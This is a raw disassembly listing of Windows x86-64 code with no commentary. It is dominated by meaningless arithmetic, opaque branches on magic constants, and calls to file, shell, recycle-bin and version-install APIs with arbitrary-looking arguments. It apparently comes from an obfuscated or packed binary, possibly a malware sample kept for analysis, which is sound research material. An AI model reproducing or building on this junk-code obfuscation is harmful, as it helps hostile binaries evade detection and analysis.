mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1fb0]
mov ecx, dword [rsp + 0x1fd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fa0], eax
mov rax, qword [str.VZl9]
movzx ecx, al
mov rax, qword [rsp + 0x51a8]
shl rax, cl
mov qword [rsp + 0x50c0], rax
lea rcx, [rsp + 0x12998]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x5238]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5218]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe7], al
movzx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
movzx eax, byte [0x1400f8005]
movzx ecx, byte [rsp + 0xe8]
xor eax, ecx
mov rcx, qword [rsp + 0x5200]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x20f8], eax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
and eax, ecx
mov byte [0x1400f8f92], al
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x82c]
add eax, ecx
mov word [rsp + 0x828], ax
mov rax, qword [rsp + 0x5228]
mov ecx, dword [rsp + 0x2058]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5198]
mov dword [rcx], eax
jmp 0x140008ba5
lea rax, [rsp + 0x5060]
mov qword [rsp + 0x5350], rax
cmp dword [rsp + 0x1ff4], 0x4e6
jbe 0x1400091a9
mov eax, dword [rsp + 0x1f80]
mov ecx, dword [0x1400f8010]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f5c], eax
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x4ce8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5088], rax
lea rcx, [rsp + 0x12a28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x5170]
mov rcx, qword [str.VZl9]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5170]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x5178]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe5], al
xor r8d, r8d
mov edx, pe_nt_image_headers64
lea rcx, [rsp + 0x1c510]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
mov dword [rsp + 0x1f8c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x5280], rax
lea rcx, [rsp + 0x5358]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5268]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe6], al
lea rcx, [rsp + 0x129f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x5080]
mov rcx, qword [rsp + 0x5158]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5118]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1fd4]
sar eax, cl
mov dword [rsp + 0x1fb0], eax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x5220]
mov qword [rsp + 0x5360], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5360]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5088], rax
mov eax, dword [rsp + 0x1ff4]
sub eax, 0x1a
mov dword [rsp + 0x1ff4], eax
mov rax, qword [rsp + 0x5158]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f80]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x52e8]
mov rcx, qword [rsp + 0x5350]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5290], rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x20dc], eax
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
add eax, ecx
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x206c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x52a8], rax
movsx eax, word [rsp + 0x838]
mov rcx, qword [0x1400f8fa8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x830], ax
mov rax, qword [rsp + 0x5218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5238]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe5], al
jmp 0x140008f4c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x20fc], eax
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
mov dword [rsp + 0x2100], eax
cmp dword [rsp + 0x2100], 0xffffffd0
je 0x140009325
cmp dword [rsp + 0x2100], 0x522c
je 0x1400091e7
jmp 0x1400dc65a
mov eax, dword [rsp + 0x1f80]
mov ecx, dword [rsp + 0x1d70]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x52d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [0x1400f8005]
mov dword [rsp + 0x2104], ecx
mov rdx, qword [rsp + 0x5268]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x2104]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140009276
lea rcx, [rsp + 0x16240]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderA]
mov qword [rsp + 0x5368], rax
movsx eax, word [rsp + 0x838]
movsx ecx, word [rsp + 0x83c]
and eax, ecx
mov word [rsp + 0x830], ax
mov rax, qword [rsp + 0x5170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5220]
mov qword [rsp + 0x5370], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5370]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5088], rax
movsx eax, word [0x1400f8f90]
mov dword [rsp + 0x2108], eax
cmp dword [rsp + 0x2108], 0x4db9
je 0x1400092c7
jmp 0x1400092e6
lea rdx, [rsp + 0x5270]
lea rcx, [rsp + 0x5238]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x210c], eax
jmp 0x140009320
mov eax, dword [rsp + 0x1fd4]
mov ecx, dword [rsp + 0x1fb0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5198]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5010]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x50b8], rax
jmp 0x1400dc65a
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
add eax, ecx
movzx ecx, word [rsp + 0x834]
movzx edx, word [rsp + 0x82c]
add ecx, edx
cmp eax, ecx
jge 0x14000939e
mov edx, 0xe2
lea rcx, [rsp + 0x21ab0]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
movzx eax, word [rsp + 0x834]
movzx ecx, word [rsp + 0x840]
sub eax, ecx
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
mov rax, qword [0x1400f8fa0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe4], al
movsx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x5218]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x840]
and eax, ecx
mov word [0x1400f8014], ax
cmp dword [rsp + 0x2074], 0xcd3c
ja 0x140009551
lea rcx, [rsp + 0x16930]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x2000], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x2110], eax
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x838]
sub eax, ecx
mov word [rsp + 0x83c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x5008], rax
mov eax, dword [rsp + 0x2074]
add eax, 0xfe
mov dword [rsp + 0x2074], eax
mov rax, qword [rsp + 0x5228]
mov ecx, dword [rsp + 0x1fa0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5198]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5168]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5290]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
mov eax, dword [0x1400f8010]
mov ecx, dword [rsp + 0x1f5c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f80], eax
mov rax, qword [rsp + 0x51a8]
movzx ecx, al
mov rax, qword [rsp + 0x5088]
sar rax, cl
mov qword [rsp + 0x50c0], rax
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0xe9]
shl eax, cl
mov rcx, qword [rsp + 0x5268]
mov byte [rcx], al
movsx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x5128]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5218]
mov byte [rcx], al
movzx eax, word [rsp + 0x82c]
movzx ecx, word [rsp + 0x844]
and eax, ecx
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x52d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1400f8005], al
mov rax, qword [rsp + 0x5218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5178]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe5], al
jmp 0x1400093d3
mov rax, qword [rsp + 0x5170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5088]
mov rdx, qword [rsp + 0x51a8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x1400dc4db
mov rax, qword [rsp + 0x5238]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
sub eax, ecx
mov byte [rsp + 0xe7], al
movzx eax, word [rsp + 0x840]
mov word [rsp + 0x84c], ax
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x838]
and eax, ecx
mov word [rsp + 0x83c], ax
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x50c0]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1400f8018], rax
mov rax, qword [rsp + 0x5080]
mov rcx, qword [rsp + 0x5158]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x1f80]
mov edx, dword [rsp + 0x2084]
add edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x1400dc375
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x1d70]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5158]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x203c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x140009781
mov dword [rsp + 0x28], 0xf3
lea rax, [rsp + 0x51b8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x52d8]
mov r8d, 0x88
mov edx, 0x2a
mov rcx, qword [rsp + 0x51c8]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconA]
mov dword [rsp + 0x2064], eax
mov eax, dword [rsp + 0x1fa0]
mov ecx, dword [rsp + 0x2058]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
movsx eax, word [0x1400f8f90]
mov rcx, qword [0x1400f8fa8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x83c], ax
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov dword [rsp + 0x2114], eax
cmp dword [rsp + 0x2114], 0x7578f23
je 0x1400096e1
jmp 0x1400096e3
jmp 0x140009700
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
add eax, ecx
mov word [rsp + 0x848], ax
mov dword [rsp + 0x20], 0xc1
mov r9d, 0x85
lea r8, [rsp + 0x21c20]
mov edx, 0x89
mov rcx, qword [rsp + 0x5378]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov dword [rsp + 0x203c], eax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5200]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe9], al
lea rcx, [rsp + 0x16208]
call qword [sym.imp.SHELL32.dll_SHFileOperationA]
mov dword [rsp + 0x2058], eax
movsx eax, word [0x1400f8f90]
movsx ecx, word [rsp + 0x83c]
sub eax, ecx
mov rcx, qword [0x1400f8fa8]
mov word [rcx], ax
jmp 0x1400dc34f
mov rax, qword [rsp + 0x5268]
movzx eax, byte [rax]
mov byte [rsp + 0x2118], al
cmp byte [rsp + 0x2118], 0
je 0x1400097a2
jmp 0x1400dc294
mov eax, dword [rsp + 0x1f5c]
mov ecx, dword [rsp + 0x20ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5080]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x5158]
mov edx, dword [rdx]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jae 0x1400098ba
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x834]
shl eax, cl
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
lea r8, [rsp + 0x128b8]
lea rdx, [rsp + 0x12928]
lea rcx, [rsp + 0x5300]
call sub.gdiplus.dll_GdiplusStartup
mov dword [rsp + 0x1f80], eax
mov rax, qword [rsp + 0x5158]
mov rcx, qword [rsp + 0x5080]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1f5c], eax
movzx eax, byte [rsp + 0xe8]
mov byte [rsp + 0x211c], al
cmp byte [rsp + 0x211c], 0x71
je 0x140009899
cmp byte [rsp + 0x211c], 0xf6
je 0x14000985a
jmp 0x1400098b5
mov rax, qword [rsp + 0x5290]
mov rcx, qword [rsp + 0x50b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x52e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5270]
movzx edx, word [rax]
mov rax, qword [rsp + 0x52e8]
mov rcx, qword [rax]
call fcn.1400dda10
nop
jmp 0x1400098b5
mov rax, qword [rsp + 0x5198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2058]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fa0], eax
jmp 0x140009a66
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [rsp + 0x51a8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5170]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x5088]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x140009a66
lea rax, [rsp + 0x5088]
mov qword [rsp + 0x5380], rax
mov rax, qword [rsp + 0x5150]
mov ecx, dword [rsp + 0x1fb0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5198]
mov rdx, qword [rsp + 0x5228]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jge 0x140009a2c
mov eax, dword [rsp + 0x2058]
mov ecx, dword [rsp + 0x1fb0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
mov r8d, 0x43
mov rdx, qword [rsp + 0x5308]
mov rcx, qword [rsp + 0x5388]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
mov dword [rsp + 0x210c], eax
mov rax, qword [rsp + 0x5178]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5238]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1400f8f92], al
mov eax, dword [rsp + 0x2058]
mov dword [rsp + 0x2120], eax
cmp dword [rsp + 0x2120], 0x306ce900
je 0x1400099ba
cmp dword [rsp + 0x2120], 0x5acc8243
je 0x140009a0f
jmp 0x140009a2c
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5200]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x838]
add eax, ecx
mov word [rsp + 0x830], ax
lea rcx, [rsp + 0x5250]
call qword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [rsp + 0x1d64], eax
jmp 0x140009a2c
movzx eax, word [rsp + 0x828]
movzx ecx, word [rsp + 0x848]
shl eax, cl
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
mov eax, dword [rsp + 0x1fb0]
mov dword [rsp + 0x2124], eax
mov rax, qword [rsp + 0x5118]
mov rcx, qword [rsp + 0x5010]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5290], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x52a8], rax
mov rax, qword [rsp + 0x5380]
mov rcx, qword [rsp + 0x5170]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5088], rax
mov eax, dword [rsp + 0x2124]
mov dword [rsp + 0x2128], eax
cmp dword [rsp + 0x2128], 0x11bb450e
je 0x140009b76
cmp dword [rsp + 0x2128], 0x22a833f8
je 0x140009ab8
jmp 0x140009cdd
mov rax, qword [rsp + 0x5158]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x20ac]
shr eax, cl
mov dword [rsp + 0x203c], eax
lea rax, [rsp + 0x5020]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50f8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x16300]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x5300]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x5078]
lea r8, [rsp + 0x5020]
lea rdx, [rsp + 0x834]
lea rcx, [rsp + 0x5218]
call qword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [rsp + 0x2064], eax
movzx eax, word [rsp + 0x840]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x5270]
movzx r9d, word [rax]
movzx r8d, byte [rsp + 0xe6]
mov rdx, qword [rsp + 0x51a8]
mov rax, qword [rsp + 0x5270]
movzx ecx, word [rax]
call fcn.1400de920
nop
jmp 0x140009cdd
mov rax, qword [rsp + 0x5208]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5238]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
add eax, ecx
movzx ecx, word [rsp + 0x840]
movzx edx, word [rsp + 0x828]
add ecx, edx
cmp eax, ecx
jle 0x140009c01
lea rdx, [rsp + 0x5080]
lea rcx, [rsp + 0x83c]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0x5390], rax
mov rax, qword [rsp + 0x5268]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5200]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1400f8fa0]
mov byte [rcx], al
jmp 0x140009c4d
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f8005]
add eax, ecx
movzx ecx, byte [rsp + 0xe6]
mov rdx, qword [rsp + 0x5200]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x140009c4d
mov rax, qword [rsp + 0x5128]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5208]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe5], al
lea rax, [rsp + 0x1fb4]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x5398]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x5298]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x5398]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x53a0]
mov r8, qword [rsp + 0x53a0]
mov rdx, qword [rsp + 0x52f8]
mov ecx, 0x38
call sub.VERSION.dll_VerInstallFileA
mov dword [rsp + 0x212c], eax
movzx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x5270]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x844], ax
movzx edx, word [rsp + 0x834]
mov rcx, qword [rsp + 0x5290]
call fcn.1400dda10
nop
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x5050], rax
mov rax, qword [rsp + 0x50c0]
mov qword [rsp + 0x53a8], rax
movabs rax, 0x4e6db39c68bdaa5e
cmp qword [rsp + 0x53a8], rax
je 0x140009d2c
movabs rax, 0x6755c9c8fa1df63b
cmp qword [rsp + 0x53a8], rax
je 0x140009dfa
jmp 0x140009e17
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe9]
sub eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
lea rax, [rsp + 0x53b0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x5220]
mov r8d, 0x7c
mov edx, 0x77
mov ecx, 0xdb
call qword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [rsp + 0x2064], eax
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
mov byte [rsp + 0x2130], al
cmp byte [rsp + 0x2130], 0x6f
je 0x140009d9b
jmp 0x140009dbe
mov rax, qword [rsp + 0x5220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5088]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
jmp 0x140009df8
mov eax, dword [rsp + 0x1d70]
mov ecx, dword [rsp + 0x1d64]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5158]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5010]
movzx ecx, al
mov rax, qword [rsp + 0x5060]
shr rax, cl
mov qword [rsp + 0x50b8], rax
jmp 0x140009e17
mov eax, dword [rsp + 0x1fa0]
movzx ecx, al
mov eax, dword [rsp + 0x1fb0]
shl eax, cl
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50c0]
mov qword [rsp + 0x53b8], rax
movabs rax, 0x2515acb09f7c1d08
cmp qword [rsp + 0x53b8], rax
je 0x140009e40
jmp 0x140009f3d
mov rax, qword [rsp + 0x5228]
mov eax, dword [rax]
mov dword [rsp + 0x2134], eax
cmp dword [rsp + 0x2134], 0x4592a405
je 0x140009e74
cmp dword [rsp + 0x2134], 0x76ca4326
je 0x140009f1c
jmp 0x140009f38
movsx eax, word [rsp + 0x830]
movsx ecx, word [rsp + 0x838]
or eax, ecx
mov word [rsp + 0x83c], ax
movsx eax, word [rsp + 0x83c]
movsx ecx, word [rsp + 0x830]
and eax, ecx
mov rcx, qword [0x1400f8fa8]
mov word [rcx], ax
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [0x1400f8f90]
add eax, ecx
mov word [rsp + 0x830], ax
mov qword [rsp + 0x20], 0x6a
mov r9, qword [rsp + 0x53c0]
mov r8, qword [rsp + 0x5030]
lea rdx, str.Unprivileged_exoderm
mov rcx, qword [rsp + 0x53c8]
call qword [sym.imp.USER32.dll_CreateDialogParamA]
mov qword [rsp + 0x5030], rax
mov rax, qword [rsp + 0x5178]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
sub eax, ecx
mov rcx, qword [rsp + 0x5238]
mov byte [rcx], al
jmp 0x140009f38
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe9], al
jmp 0x1400dc272
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x1c3d0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
mov dword [rsp + 0x2138], eax
lea rcx, [rsp + 0x5048]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x207c], eax
mov eax, dword [rsp + 0x2124]
mov ecx, dword [rsp + 0x2058]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5228]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1fb0]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x1400dc23c
lea rax, [rsp + 0x5010]
mov qword [rsp + 0x53d0], rax
mov rax, qword [rsp + 0x5198]
mov rcx, qword [rsp + 0x5150]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1fd4], eax
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
add eax, ecx
movzx ecx, word [rsp + 0x828]
movzx edx, word [rsp + 0x848]
add ecx, edx
cmp eax, ecx
jne 0x14000a11a
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x2094], eax
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
mov dword [rsp + 0x213c], eax
cmp dword [rsp + 0x213c], 0
je 0x14000a02b
jmp 0x14000a063
lea rax, [rsp + 0x212c]
mov qword [rsp + 0x53d8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x53e0], rax
lea rcx, [rsp + 0x16a70]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x20dc], eax
jmp 0x14000a11a
mov rax, qword [rsp + 0x5128]
movzx eax, byte [rax]
mov byte [rsp + 0x2140], al
cmp byte [rsp + 0x2140], 0x5c
je 0x14000a081
jmp 0x14000a0fe
mov rax, qword [rsp + 0x5170]
mov rcx, qword [str.VZl9]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x50c0], rax
mov r9d, 0xf6
mov r8d, 1
mov edx, 0x83
lea rcx, [rsp + 0x5310]
call qword [sym.imp.USER32.dll_AdjustWindowRectEx]
mov dword [rsp + 0x2144], eax
mov rax, qword [rsp + 0x5278]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2124]
shl eax, cl
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5178]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
or eax, ecx
mov byte [0x1400f8004], al
jmp 0x14000a11a
mov rax, qword [rsp + 0x5170]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rax]
call fcn.1400dddf0
nop
mov rax, qword [rsp + 0x50c0]
cqo
mov rcx, qword [rsp + 0x5170]
idiv qword [rcx]
mov rcx, qword [rsp + 0x5380]
mov rcx, qword [rcx]
mov rdx, qword [str.VZl9]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x14000a228
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
mov byte [rsp + 0xea], al
lea rax, [rsp + 0x840]
mov qword [rsp + 0x53e8], rax
movzx eax, word [rsp + 0x834]
mov rcx, qword [rsp + 0x53e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x840], ax
mov eax, dword [rsp + 0x1fb0]
mov ecx, dword [rsp + 0x1fa0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5198]
mov dword [rcx], eax
lea rax, [rsp + 0x50c0]
mov qword [rsp + 0x53f0], rax
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rsp + 0x5060]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5290], rax
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x2148], eax
lea rax, [rsp + 0x2084]
mov qword [rsp + 0x53f8], rax
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [rsp + 0x79]
sub eax, ecx
mov rcx, qword [rsp + 0x5178]
mov byte [rcx], al
mov rax, qword [rsp + 0x5350]
mov rax, qword [rax]
mov qword [0x1400f8fb0], rax
jmp 0x14000a293
lea rcx, [rsp + 0x1c330]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
mov dword [rsp + 0x1f68], eax
movzx eax, byte [0x1400f8005]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe9], al
movzx eax, word [rsp + 0x848]
mov word [rsp + 0x20], ax
movzx r9d, word [rsp + 0x82c]
movzx r8d, byte [rsp + 0xe4]
mov rax, qword [rsp + 0x5220]
mov rdx, qword [rax]
